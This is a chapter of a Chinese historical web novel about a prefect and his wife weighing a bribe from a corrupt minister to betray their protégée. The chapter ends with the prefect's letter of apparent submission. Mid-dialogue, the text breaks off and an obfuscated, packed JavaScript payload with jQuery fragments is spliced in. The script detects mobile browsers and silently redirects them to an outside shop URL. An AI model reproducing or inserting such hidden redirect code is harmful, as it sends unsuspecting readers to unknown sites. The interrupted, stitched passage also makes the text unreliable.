午后的日头斜斜挂在远处山边的轮廓上，暑气褪了大半，乌江的风卷着水汽吹过来，拂动水田边的垂柳，吹起了柳阿娇额前散落的碎发。


    她正赤着脚踩在水田里，裤腿卷到了膝盖以上，小腿上沾着泥点，手里捏着一把改良过的稻秧，正弯着腰，小心翼翼地把秧苗插进松软的泥里。


    水田的田埂边，罗青山坐在一块青石板上，手里拎着一个装着凉茶的水囊，目光始终跟随着柳阿娇的背影。


    兴许是自己被收了这方面的天赋，柳阿娇是绝对禁止他进入这两个地方的——厨房和田地。


    “别忙活了，上来歇会儿。” 罗青山扬声喊了一句，拿起身边的布巾，“太阳快落山了，再晒下去，该中暑了。”


    柳阿娇这才直起腰，抬手用袖子擦了擦额角的汗，回头对着他笑了笑，把手里最后几株秧苗插好，才踩着田埂边的石阶走了上来。


    罗青山立刻起身，拿着干净的布巾，给她擦了擦脸上的汗，又把水囊递过去：“慢点喝，刚从井里镇过的，凉。”


    柳阿娇接过水囊，喝了两口，沁凉的茶水顺着喉咙滑下去，驱散了一身的燥热。


    罗青山给她拍了拍裤腿上的泥点，目光又落在水田里整整齐齐的稻秧上，语气里满是期待：“这一批新的稻种，长势比去年还好吧？”


    “嗯。” 柳阿娇点了点头，眼里亮着光，整个人都鲜活了起来，“多亏了明朝送过来的改良方法，你看这分蘖，比去年的老稻种多了两成，抗旱性也强，就算是秋里少雨，也能保证收成。等这一季收了，就能先在周边的村寨推广开，明年就能覆盖半个黔州。到时候，就算是遇上灾年，百姓们也不用再卖儿卖女换粮食了。”


    她说得满怀期待，罗青山看着她的样子，心里却微微发涩。


    推广农桑新法，新稻种小范围试种成功，府衙的文书报上去，劝农有功的名头，只能落在他这个黔州知府的头上。


    朝堂来了嘉奖，百姓们感念的是罗知府爱民如子，没人知道，背后熬白了头发的，是他的柳阿娇。


    罗青山起初不同意，但柳阿娇很严肃地对他说：“让大家都吃上饭是最重要的。”


    他知道，这是柳阿娇最大的心愿。


    韩嵩把持朝政，苛捐杂税一年比一年重，去年旱灾，朝廷拨的十万两赈灾款，被韩嵩贪了八万两，哪怕他竭力争取，到黔州百姓手里的，也只剩点残羹冷炙。


    “对了。” 柳阿娇擦干净脚，穿上布鞋，坐在他身边，问道，“明朝那孩子没受伤吧？”


    罗青山摇头：“你看上的这姑娘，是个聪明的孩子，周瑾这次来黔州，也有意保她，还把婚书带来了。”


    柳阿娇愣了愣，随即轻轻叹了口气：“我就知道。可是再怎么说他们面对的是韩嵩那老贼，两个年轻人，这么硬碰硬，太险了……”


    “何止是险。” 罗青山拿起水囊，喝了一口凉茶，目光望向黔州城外连绵的山，语气里满是凝重，“你以为，这只是两个年轻人的意气用事？这是朝堂上，周家为首的文官，和韩嵩的死局，已经到了不破不立的地步了。”


    “你知道吗？” 罗青山转头看向妻子，声音压得低了些，“今年开春，韩嵩借着黄河决堤的由头，把户部尚书，工部尚书全换了，全换成了他的门生。现在朝堂六部，有四部都握在他手里，禁军统领是他的干儿子，连西北、淮南的藩镇节度使，都跟他暗通款曲。现在的大乾朝堂，明着是赵家的天下，暗地里，就要成他韩嵩的一言堂了。”


    柳阿娇的脸色也沉了下来，握着布巾的手微微收紧：“那周家呢？周太常不是一直领着文官跟韩嵩对着干吗？”


    “对着干？” 罗青山苦笑一声，摇了摇头，“怎么对着干？周仲和是太常寺卿，清贵归清贵，手里没有实权，能调动的只有一群言官。可言官的折子，能骂得动韩嵩吗？这三年，韩嵩借着各种由头，贬的贬杀的杀，朝堂上敢跟他对着干的言官，早就没剩几个了。周家现在，就是韩嵩眼里的最后一根钉子，拔了这根钉子，这大乾朝，就真的姓韩了。”


    “你有事瞒着我。”柳阿娇自诩是这个世界上最了解罗青山的人，尽管他为人做事滴水不漏，却总是瞒不过柳阿娇的。


    罗青山闭了闭眼，袖管里的那封密信，硌得他胳膊生疼。


    那是今早韩嵩的密使偷偷递给他的。


    韩嵩在信里说，他早已查清，李明朝与叛将沈凌珏暗通款曲。罗青山身为黔州知府，不可能毫不知情。若是他能将李明朝和沈凌珏的藏身信息一并递往汴梁，韩嵩便保他升任江南布政使，还会请朝廷下旨，旌表他们夫妻劝农有功，让新稻种以柳阿娇的名义，在大乾全境推广，更会给柳阿娇请封五品诰命，给罗家子弟恩荫入仕的机会。


    一边是他亏欠了半生的妻子，是安稳日子和家族荣光，是妻子毕生的心血能名正言顺地传遍天下。


    另一边，是自己欣赏的徒弟，是蒙冤的忠良，是黔州的百姓，是他读了半辈子圣贤书和刻在骨子里的道义。


    从收到这封信开始，他就坐在这田埂上，整整一个下午。


    他不是没有犹豫过，甚至在某个瞬间，真的动了心。


    可一想到李明朝，就是那瘦弱的身影，一次一次为了百姓冒险，为沈凌珏谋划，李明朝自己抗在肩上的负担，可比自己多得多。


    罗青山脸色发白，指尖攥得死紧，终是从袖管里掏出了那封密信，递到了柳阿娇手里。


    柳阿娇接过信，逐字逐句地看完，指尖微微发颤，脸色阴沉沉的。


    她捏着信纸，抬头看着罗青山，看着他眼底翻涌的纠结与挣扎，瞬间就懂了他的失魂落魄，到底是为了什么。


    “你心里在犹豫，对不对？” 柳阿娇的声音很轻，尽是了然，“你想答应他，想回江南，想给我一个诰命，想让这稻种能光明正大地推广。又觉得对不起明朝，对不起自己的良心，是不是？”


    罗青山别开脸，看向水田里的稻秧，声音沙哑得厉害：“阿娇，我对不起你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395433|197837||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。若是……”


    若是决意与韩嵩为敌，别说是让柳阿娇留下名字，连身家性命都……


    他话说到一半，就再也说不下去了。


    那个原先一直笔挺腰杆的知府，此刻略显佝偻。


    柳阿娇看着他泛红的眼眶，心里软得一塌糊涂，也疼得厉害。


    她伸手轻轻握住罗青山攥得死紧的手，那手心全是冷汗，指尖都磨出了红痕。


    “青山，我问你，就算我们靠着韩嵩去了江南，得了诰命，这稻种也推广开了，可百姓种出来的粮食，能进自己的口袋吗？”


    罗青山猛地抬眼看向她。


    “我育这稻种，是想让百姓吃饱饭。可稻种再好，也抵不过苛捐杂税，抵不过奸佞当道，抵不过这乱世飘摇。”


    “这天下的根，烂在朝堂上，烂在韩嵩手里。不把这根拔了，就算我们有再好的稻种，百姓也还是吃不饱饭，我们就算去了江南，也不过是靠着奸佞苟活，今天他能拿沈将军当弃子，明天就能拿我们当弃子。”


    “罗青山。”柳阿娇叫他的名字，严肃又温柔：“有国才有家。”


    “想想明朝，想想沈将军，她们都是这世界上的千千万万个我啊。”


    罗青山透过记忆里李明朝的身影，越过了时空，回到他就读的书院。


    意气风发的少年罗青山正捧着书听夫子摇头晃脑地说文解字。


    院内书声琅琅：“为天地立心，为生民立命，为往圣继绝学，为万世开太平。”


    彼时的柳阿娇，正捧着一捧稻子，路过窗外，阳光簌簌。


    “我知道了，阿娇。”罗青山把头埋进柳阿娇的肩窝里，热泪润湿了她的衣衫，柳阿娇一下又一下地拍抚他的背，声音低沉而又坚定。


    “罗青山，我爱你。”


    罗青山一个人在书法又坐了很久，烛火照着他脸上一条条浅浅的沟壑，显得格外疲惫。


    他终于落下笔，在给韩嵩的密信里写道：


    太尉钧鉴：


    卑职罗青山叩首。今日收到太尉手谕，展读之下，既惶悚不安，又感念太尉多年朝堂照拂之恩，无以为报。


    卑职于黔州七载，赖太尉周全，能坐稳此位，太尉所命，卑职莫敢不从。手谕中所言李明朝私通叛将沈凌珏一事，卑职早有察觉。碍于此女行事素来缜密，与沈凌珏往来皆借商队幌子遮掩，粮草输送拆分散运，账目做得天衣无缝，身边又有不明来路的护卫环伺。卑职唯恐打草惊蛇，断了太尉捉拿叛党的线索，故而一直隐忍未发，只暗中盯守其动向。


    今得太尉钧令，卑职再无迟疑。后续卑职会借着师徒名分近身探查，逐步渗透其商队，撬开其身边人的口，定不负所望拿到李明朝与沈凌珏私通的铁证，摸清她与周瑾勾结的底细，事毕即刻快马呈报太尉。


    卑职此生唯太尉马首是瞻，绝无二心，必不负太尉所托。


    罗青山叩首上呈


    罗青山唤来陆泽，装好信封，长叹：“快马加鞭送至京城。”